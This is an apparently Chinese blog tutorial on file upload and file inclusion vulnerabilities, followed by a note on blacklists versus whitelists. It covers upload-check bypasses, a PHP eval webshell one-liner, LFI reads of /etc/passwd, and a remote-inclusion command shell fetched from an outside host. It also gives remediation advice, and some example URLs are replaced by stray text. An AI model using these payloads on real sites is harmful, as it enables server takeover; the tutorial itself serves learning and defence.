文件上传漏洞,文件包含漏洞,黑白名单

一、文件上传漏洞

1.文件上传漏洞是web安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,WebShell等到服务器执行,并最终获得网站控制权限的高危漏洞。

2.漏洞原理

程序员在开发任意文件上传功能时,并未考虑文件格式后缀的合法性校验或者是否只在前端通过js进行后缀检验。这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php、aspx文件后缀)到服务器上,从而访问这些恶意脚本中包含的恶意代码,进行动态解析最终达到执行恶意代码的效果,进一步影响服务器安全。

3.漏洞危害

上传漏洞与SQL注入或 XSS相比 , 其风险更大

上传的文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。

上传的文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为。

上传的文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。

上传的文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。

攻击者可以直接上传一个webshell到服务器上 完全控制系统或致使系统瘫痪。

4.利用前提

应有文件上传功能

对上传文件类型检测有漏洞

或检测文件类型的逻辑有漏洞(如,先保存文件,在检测文件类型)

5.利用流程

一般来说文件上传过程中检测部分由客户端javascript检测、服务端Content-Type类型检测、服务端path参数检测、服务端文件扩展名检测、服务端内容检测组成。但这些检测并不完善,且都有绕过方法。

1、判断上传漏洞点

多见于头像上传处

2、获得文件上传的url

使用mentra的firebug查找元素,或F12

3、测试防御类型

1.前端js检测

绕过方法: 禁用javasrcipt即可

2.后端检测检测文件类型

a.检测content-type

检测原理: 后端获取http请求包的Content-Type参数,判断上传文件类型

绕过方法: 抓包将content-type改为允许上传类型格式,即可成功上传

b.检测文件头判断文件类型

检测原理: 使用getimagesize()函数来获取文件的MIME类型,此时检测的不是数据包中的content-type,而是图片的文件头,常见的图片文件头如下:

gif(GIF89a) : 47 49 46 38 39 61 
jpg、jpeg : FF D8 FF 
png : 89 50 4E 47 0D 0A

绕过方法: 当上传php文件时,可以使用winhex、010editor等十六进制处理工具,在数据最前面添加图片的文件头,从而绕过检测

3.后端检测文件拓展名

a.黑名单检测

检测原理: 使用扩展名黑名单来限制上传文件类型

绕过方法: 1)使用一些特殊扩展名来绕过 php可以用php3、php4、php5代替 2)大小写混淆绕过 3)在文件名加.(空格,点,空格),利用windows特性绕过 4)在文件名加::$data绕过

b.白名单检测

检测原理: 要求只能是特定扩展名的文件才能上传

绕过方法: 使用%00截断文件名来上传,(注意:GET型可以对%00自动解码,但POST型不能,需要在二进制中修改) 如果目标还存在文件包含漏洞,那么就可以上传图片马再文件包含来拿shell

4.后端检测文件内容

a.文件内容替换

检测原理: 在后端处理上传的文件时,会将将文件中的敏感字符替换掉。 参考代码

<?php
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$content = str_replace('?', '!', $content);
$file = $path . '/' . $_FILES['myfile']['name'];

if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
        file_put_contents($file, $content);
        echo 'Success!<br>';
} else {
        echo 'Error!<br>';
}
?>

绕过方法: 根据实际过滤的字符来判断,(一般不会限制所有敏感字符,因为还要兼顾图片上传)

b.图片二次渲染

检测原理: 后端调用了php的GD库,提取了文件中的图片数据,然后再重新渲染,这样图片中插入的恶意代码就会被过滤掉了

绕过方法: 比较过滤前后文件内容,一般不会全部过滤。 比较使用php-gd转换之前和之后的gif图像,并搜索它们之间的任何相似性,因此,如果我在原始文件中找到相似的部分,则在使用php-gd转换后也保留了该部分然后我可以在那部分注入我的PHP代码并获得RCE

5.条件竞争

该漏洞形成逻辑: 网站允许上传文件,然后检查上传文件是否包含webshell、是否是指定的文件类型。如果不是,那么删除该文件。在删除之前访问上传的php文件,从而执行上传文件中的php代码。

绕过方法: 先进行文件上传,后进行判断与删除。利用时间差进行webshell上传。 竞争条件代码举例:

<?php
        fputs(fopen('shell.php','w'),'<?php @eval($\_POST\["cmd"\])?>');
?>

判断是否删除

import requests  
while true:  
        requests.get(”路径“)

六、漏洞修复

 1、系统运行时

文件上传的目录设置为不可执行。只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。

判断文件类型。在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文 件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。

使用随机数改写文件名和文件路径。文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。

单独设置文件服务器的域名。由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。

使用安全设备防御。文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来帮助防御。

 2、系统开发时

系统开发人员应有较强的安全意识,尤其是采用PHP语言开发系统。在系统开发阶段应充分考虑系统的安全性。

对文件上传漏洞来说,最好能在客户端和服务器端对用户上传的文件名和文件路径等项目分别进行严格的检查。客户端的检查虽然对技术较好的攻击者来说可以借助工具绕过,但是这也可以阻挡一些基本的试探。服务器端的检查最好使用白名单过滤的方法,这样能防止大小写等方式的绕过,同时还需对%00截断符进行检测,对HTTP包头的content-type也和上传文件的大小也需要进行检查。

 3、系统维护时

系统上线后运维人员应有较强的安全意思,积极使用多个安全检测工具对系统进行安全扫描,及时发现潜在漏洞并修复。

定时查看系统日志,web服务器日志以发现入侵痕迹。定时关注系统所使用到的第三方插件的更新情况,如有新版本发布建议及时更新,如果第三方插件被爆有安全漏洞更应立即进行修补。

对于整个网站都是使用的开源代码或者使用网上的框架搭建的网站来说,尤其要注意漏洞的自查和软件版本及补丁的更新,上传功能非必选可以直接删除。除对系统自生的维护外,服务器应进行合理配置,非必选一般的目录都应去掉执行权限,上传目录可配置为只读。

2.文件包含漏洞

  1.文件包含漏洞成因

文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含File inclusion。文件包含可能会出现在jsp、php、asp等语言中。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。

常见的文件包含的函数如下:

PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()

JSP/Servlet:ava.io.file()、java.io.filereader()

ASP:include file、include virtual

Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。

Require:跟include唯一不同的是,当产生错误时候,include会继续运行而require停止运行。

Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。

Require_once:这个函数跟require函数作用几乎相同,与include_once和include类似。

php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。php4存在远程包含&本地包含,php5仅存在本地包含。

使用上面几个函数包含文件时,该文件将作为PHP代码执行,PHP内核并不在意被包含的文件是什么类型的。也就是说我们用这几个函数包含.jpg文件时,也会将其当做php文件来执行

2.为什么要包含文件

程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件需要使用时进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写 include("share.php") ,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?

有的时候可能并不能确定需要包含哪个文件,比如看下面的代码

if ($_GET[page]) {
    include $_GET[page];
} else {
    include "home.php";
}

上面这段代码的使用格式可能是这样的: 如流,新一代智能工作平台 

1、提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。 2、判断$_GET[page]是不是空,若不空(这里是main.php)就用include来包含这个文件。 3、若$_GET[page]空的话就执行else,来 include "home.php" 这个文件。

你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件。比如下面说的!

3.如何利用这个漏洞

1.本地包含(LFI)

本地包含条件:

1. allow_url_fopen=On

2. 用户可以动态控制变量

针对以上代码,比如我们会随便的写入下面这个URL:

如流,新一代智能工作平台

然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取page为hello.php,然后去include(hello.php)。。。。这时问题出现了,因为我们并没有hello.php这个文件,所以它 include的时候就会报警告,类似下列信息:

Quote:

Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.phpon line 3

Warning: include() [function.include]: Failed opening hello.php for inclusion (include_path=.:) in /vhost/wwwroot/php/index.php on line 3

第一行的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;

而第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。

通过报错,我们可以得知绝对路径 /vhost/wwwroot/php/我们可以多次探测来包含其他文件比如指定:

 www.xxx.com/index.php?test=./123.txt

来读出当前路径下的123.txt,也可以使用../来进行目录跳转(在没过滤../的情况下),也可以直接指定绝对路径,读取敏感的系统文件 ,比如:

 www.xxx.com/index.php?test=/etc/passwd

如果目标主机没有对权限限制的很严格,或者启动Apache的权限比较高,是可以读出这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect. 的 Warning。 如果我们可以上传文件的话,我们可以上传一句话木马,然后再包含一句话木马,再用菜刀连接拿下网站的Webshell

本地文件包含漏洞利用技巧

包含用户上传的文件 (我们上传的一句话木马等等)

包含data:// 或 php://input 等伪协议

包含 Session 文件

包含日志文件 ( 通过构造语句让服务器报错并将一句话随报错信息写入日志;找到日志文件路径,包含此文件;用菜刀连接;拿下网站的Webshell )

2.远程包含(RFI)

远程包含条件:

allow_url_include=On

用户可以动态控制变量

我们可以指定其他URL上的一个我们写的一句话木马,然后用菜刀连接获取Webshell。

我们还可以指定其它URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码,如下保存为cmd.txt(后缀不重要,只要内容为PHP格式就可以了)

if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)
ini_set("max_execution_time",0); //设定针对这个文件的执行时间,0为不限制.
echo "开始行"; //打印的返回的开始行提示信息
passthru($_REQUEST["cmd"]);   //运行cmd指定的命令
echo "结束行"; //打印的返回的结束行提示信息
?>

以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在开始行与结束行之间。把这个文件保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了:http://hi.baidu.com/m4r10/php/index.php?page=http: //http://www.xxx.cn/cmd.txt?cmd=ls,其中cmd后面的就是你需要执行的命令,其它常用的命令(以*UNIX为例)如下:

ll 列目录、文件(相当于Windows下dir)

pwd 查看当前绝对路径

whoami 查看当前用户

wget 下载指定URL的文件

  4.文件包含漏洞成因

在php中,文件包含需要配置 allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含) 。所以,我们可以将其关闭,这样就可以杜绝文件包含漏洞了。但是,某些情况下,不能将其关闭,必须进行包含的话,我们可以使用白名单过滤的方法,只能包含我们指定的文件。这样,就可以杜绝文件包含漏洞了

三、.黑白名单

白名单的概念与“黑名单”相对应。例如:在电脑系统里,有很多软件都应用到了黑白名单规则,操作系统、防火墙、杀毒软件、邮件系统、应用软件等,凡是涉及到控制方面几乎都应用了黑白名单规则。黑名单启用后,被列入到黑名单的用户(或IP地址、IP包、邮件、病毒等)不能通过。如果设立了白名单,则在白名单中的用户(或IP地址、IP包、邮件等)会优先通过,不会被当成垃圾邮件拒收,安全性和快捷性都大大提高。将其含义扩展一步,那么凡有黑名单功能的应用,就会有白名单功能与其对应。

简介

白名单的概念与“黑名单”相对应。

例如:

在电脑系统里,有很多软件都应用到了黑白名单规则,操作系统、防火墙、杀毒软件、邮件系统、应用软件等,凡是涉及到控制方面几乎都应用了黑白名单规则。黑名单启用后,被列入到黑名单的用户(或IP地址、IP包、邮件、病毒等)不能通过。

如果设立了白名单,则在白名单中的用户(或IP地址、IP包、邮件等)会优先通过,不会被当成垃圾邮件拒收,安全性和快捷性都大大提高。

将其含义扩展一步,那么凡有黑名单功能的应用,就会有白名单功能与其对应。

例如:在运营体系中,如果某一用户的号码被列入黑名单,那么它可能不能享用某项业务或全部业务,而白名单内的用户则可不受系统中对普通用户的规则限制。

区别

白名单是设置能通过的用户,白名单以外的用户都不能通过。

黑名单是设置不能通过的用户,黑名单以外的用户都能通过。

所以一般情况下白名单比黑名单限制的用户要更多一些。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值